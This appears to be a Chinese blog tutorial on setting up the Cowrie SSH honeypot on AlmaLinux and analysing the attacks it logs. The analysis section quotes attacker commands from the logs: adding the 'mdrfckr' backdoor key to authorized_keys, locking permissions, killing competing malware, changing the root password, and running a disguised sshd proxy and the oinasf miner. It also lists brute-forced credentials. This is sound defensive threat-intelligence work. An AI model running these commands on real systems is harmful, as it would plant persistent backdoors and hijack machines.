一、前言
- 在网络安全领域,蜜罐(Honeypot)是一种主动防御技术,通过模拟存在漏洞的服务,吸引攻击者的探测与攻击,从而收集攻击行为、工具和手法,为安全防护提供真实的威胁情报。
- Cowrie 是一款基于 Python 开发的中高交互 SSH/Telnet 蜜罐,它模拟了一个虚假的 Linux 系统环境,攻击者连接后会获得一个假 Shell,执行的所有命令、上传的恶意文件都会被完整记录。本文将带你从 0 开始搭建 Cowrie 蜜罐,并通过真实攻击日志分析攻击者的行为模式。
二、环境准备
Cowrie 本身是跨平台 Python 程序,核心逻辑完全一样,只有安装依赖、防火墙、包管理器三部分命令不同。(本文以 AlmaLinux 9 为例)
1. 系统依赖安装
# 更新系统包
dnf update -y
# 安装基础依赖
dnf install -y epel-release
dnf install -y git python3 python3-pip python3-virtualenv libffi-devel openssl-devel gcc make authbind
如果提示某些包没有,也没关系,我们再调整。
有些版本里 python3-virtualenv 可能叫法不同,可以补装:
dnf install -y python3-devel
必须保证python的版本大于3.9
python3.11 --version
没有就安装
dnf install -y python3.11 python3.11-pip python3.11-devel
装完再检查
python3.11 --version
2. 创建专用用户
- 不要用 root 跑 Cowrie
useradd -m -s /bin/bash cowrie
passwd cowrie
- 切换到cowrie用户
su - cowrie
- 现在应该在cowrie目录(/home/cowrie)
#确认一下
pwd
三、下载 Cowrie
- 在 cowrie 用户下执行:
git clone http://github.com/cowrie/cowrie
cd cowrie
- 在/home/cowrie/cowrie/ 目录创建虚拟环境
python3.11 -m venv cowrie-env
- 激活虚拟环境 ;激活后,命令行前面一般会出现 (cowrie-env)
source cowrie-env/bin/activate
- 升级pip
pip install --upgrade pip setuptools wheel
- 安装 Cowrie 依赖
pip install -r requirements.txt
如果报编译错误,通常是缺少系统依赖,回到root 安装:
(要退出虚拟环境deactivate)
dnf install -y gcc libffi-devel openssl-devel python3-devel
然后再按步骤 回来重试。(注意不要进错目录)
四、配置 Cowrie
Cowrie 默认配置文件不是直接改原文件,而是复制一份:
cp etc/cowrie.cfg.dist etc/cowrie.cfg
编辑配置:
vi etc/cowrie.cfg
查找类似:
[ssh]
listen_endpoints = tcp:2222:interface=0.0.0.0
这表示 Cowrie 监听 0.0.0.0:2222。
先保持这个最稳妥。
五、启动 Cowrie
确保你当前仍然在:/home/cowrie/cowrie;并且虚拟环境已激活,然后启动:
bin/cowrie start
分别查看状态和日志
bin/cowrie status
tail -f var/log/cowrie/cowrie.log
如果启动成功,应该能看到监听信息。
六、测试是否运行成功
ss -tlnp | grep 2222
如果看到 2222 正在监听,说明程序已运行。
本机测试连接:
ssh -p 2222 root@127.0.0.1
你应该会连接到 Cowrie 模拟出来的 SSH 服务,而不是真实 SSH。

我随便输入了一个密码,cowrie可能会直接把我放进来。
cowrie还会发出一些迷惑信息,增加逼真性。
七、让外部扫到 22 端口
这个要特别注意:
不要直接让真实 SSH 和 Cowrie 都占用 22。
通常做法:
- 真实 SSH 改到别的端口,比如 22222
- 外部访问 22 时转发到 Cowrie 的 2222
1. 如果真实ssh端口在22,先改端口
编辑 SSH 配置:
vi /etc/ssh/sshd_config
找到port这一行,改成:
Port 22222
保存后重启 SSH:
systemctl restart sshd
先别断开当前会话,先新开一个终端测试能否用新端口登录:
ssh -p 22222 root@你的IP
确认没问题后再继续。
2. iptables/ firewalld 端口转发,让外部 22 转到 Cowrie 的 2222
sudo iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222
sudo iptables -t nat -A OUTPUT -p tcp -d 127.0.0.1 --dport 22 -j REDIRECT --to-ports 2222
或者用 firewalld
sudo firewall-cmd --permanent --add-forward-port=port=22:proto=tcp:toport=2222
sudo firewall-cmd --reload
这样外部访问 22,实际进 Cowrie 的 2222。
3. 测试端口是否转发成功:
本地:ssh root@127.0.0.1
新终端:ssh root@你的IP
如果是蜜罐,说明成功了。
- 查看日志
sudo tail -n 50 var/log/cowrie/cowrie.log
sudo tail -n 50 var/log/cowrie/cowrie.json


你可以看到一些被cowrie收集的信息(攻击者 IP 地址,尝试的账户密码,连接时间、时长,目标端口,客户端信息,认证信息,执行的命令等等)
这是一些真实的攻击记录,大部分由黑客(被控制的肉鸡)使用Nmap、Zmap等工具,几秒内就能扫遍全网。
4. 公网
当你的设备具备了可从互联网任何地方直接访问的独立网络身份时,才算暴露在公网上,才能被全球其他人访问;否则部署的蜜罐只能自己访问。
八、python脚本自动分析
1. 编写脚本
touch cowrie-report.py
nano cowrie-report.py
将本文章配套的python代码复制进去就行。
2.给脚本加执行权限
写完脚本后,你当时运行了这行命令,让脚本变成可执行文件:
chmod +x cowrie-report.py
3、把脚本放到系统 PATH 里
cp cowrie-report.py /usr/local/bin/cowrie-report
4.效果与分析
内置包含大量实用功能(查看类: ‘summary’, ‘topip’, ‘creds’, ‘commands’, ‘sources’, ‘keys’, ‘weird’, ‘families’, ‘ip’, ‘export-logins’ ;导出类:’export-logins’, ‘export-commands’, ‘export-keys’, ‘export-weird’, ‘export-families’)


可以看到每天都有大量事件。要是真机,暴露在公网上,很快会沦陷为黑客的肉鸡。

其实这个很有意思,这么多IP注入的都是同一个公钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys
mdrfckr = motherfcker(脏话 / 辱骂性词汇)
这个密钥mdrfckr标识是黑客、黑产、恶意软件作者最常用的挑衅式署名;目的就是:
- 装酷
- 挑衅受害者
- 标记「这个后门是我放的」
执行cowrie-report command看看他们都干了什么

这是随机截的,毕竟太长了。
介绍主要行为:
- 删除原来的 .ssh(删你密钥)
rm -rf .ssh
- 重建 .ssh 目录
mkdir .ssh
- 写入黑客自己的 SSH 后门公钥
echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr" >> .ssh/authorized_keys
- 锁权限,防止你删掉后门
chmod -R go= ~/.ssh
- 查 CPU 核心数(判断能不能挖矿)
cat /proc/cpuinfo | grep name | wc -l
- 杀其他病毒、清理竞争对手 malware
rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -f secure.sh; pkill -f auth.sh; echo > /etc/hosts.deny; pkill -f sleep;
- 修改 root 密码(锁死你,独占机器)
echo "root:c9pUFi59LRUU"|chpasswd|bash
.
接下我们看看具有相似特征的族
cowrie-report families


345gs5662d34/345gs5662d34(2004), root/3245gs5662d34(2002)这两个是尝试次数最多的账密;
- 最显眼的 345gs5662d34/345gs5662d34是物联网设备 / 路由器 / 工控设备的默认密码变种
- root/3245gs5662d3是上面那个密码的变种,差不多的次数,说明和上面那个是同一个脚本 / 团伙的字典,专门针对 Linux 服务器的 root 账号
- admin/admin:最通用的管理员账号密码,几乎所有设备都有,被扫了 85 次,属于基础弱口令字典的标配
- orangepi/orangepi:这是香橙派(Orange Pi)开发板的默认 SSH 账号密码,说明攻击者专门针对物联网开发板做了定向爆破
- root/P / root/nPSpP4PBW0 .这些是 “半强密码” 的弱口令变种
- root/Aa112211典型入门级弱密码
- root/:root 账号 + 空密码 ;很多新手会犯的错误
- root/root账号密码都是 root,被扫了 26 次,属于 “新手专属弱口令”
- a/a:账号密码都是 a,纯随机爆破的垃圾项,被扫了 22 次

攻击者在登录成功后,会立即写入 SSH 公钥后门,这是僵尸网络控制肉鸡的标准流程。

两组典型的前置侦察型攻击
- 族4:单一 IP 的轻量级侦察脚本
cat /proc/1/mounts查看系统挂载信息,判断是否为容器 / 虚拟机
ls /proc/1/检查 PID 1 进程,确认系统初始化环境
curl2测试服务器是否能联网,用于后续下载恶意程序
ps aux / ps查看进程列表,判断是否已有其他恶意软件在运行
关键特征:
- 使用 echo “…” | sh 执行命令,是典型的IDS / 防火墙绕过手段
- 没有植入后门、没有挖矿,仅做 “踩点”
- 这类脚本通常是大型僵尸网络的 “前置筛选器”,用来挑出有价值的肉鸡
- 族5:定向挖矿木马的侦察脚本
/ip cloud print识别目标是否为云服务器(部分云厂商有特定的工具)
ifconfig获取网卡信息,确认网络环境
uname -a查看系统内核版本,判断是否支持挖矿程序
cat /proc/cpuinfo关键:查看 CPU 核心数,判断挖矿收益
ps grep '[Mm]iner'检查是否已有其他挖矿程序在运行,防止被 “抢矿”
关键特征:
- 所有命令都围绕 “挖矿价值评估” 展开,目的性极强
- 常见登录密码是 root/root、root/admin,属于基础弱口令爆破
- 这类攻击的下一步,就是下载并执行挖矿木马

chmod +x ./.9209272124184346317/sshd;
nohup ./.9209272124184346317/sshd 111.170.34.11 123.182.141.91 ... &
这是一种典型的 “恶意反向代理” 攻击。攻击者在登录成功后,会上传一个伪装成 sshd 的恶意程序,赋予执行权限并在后台运行。
系统自带的 sshd 是 /usr/sbin/sshd,而这个程序:
位于隐藏目录 ./.9209272124184346317/(随机命名,隐藏行踪)
接收大量 IP 作为参数,明显不是正常的 SSH 服务,本质是建立反向隧道,将目标服务器变成攻击者的代理跳板,用于转发恶意流量(如 DDoS、爬虫、代理访问)。
,

安装挖矿木马 / 僵尸网络执行链
- ./oinasf:直接运行当前目录下的恶意程序 oinasf
- 后面的 dd /proc/self/exe 是一套 fallback 逻辑,用来读取自身程序的二进制代码,常见于自复制、自解压、绕过沙箱 / 蜜罐检测的恶意脚本
- 整个命令的目标,是在被攻陷的服务器上植入并执行 oinasf 恶意程序
九、总结
日志覆盖 4.19–4.28,记录了从扫描到挖矿的全过程
早期:只爆破弱口令(族 1)
中期:写公钥留后门(族 2/3)
后期:上挖矿木马 oinasf(族 13)
穿插:侦察系统、清理环境
显然这是这是一个以 SSH 弱口令爆破为入口、以 SSH 公钥为持久化后门、以 oinasf 为挖矿模块的大型 Linux 跨平台僵尸网络。





请登录后查看评论内容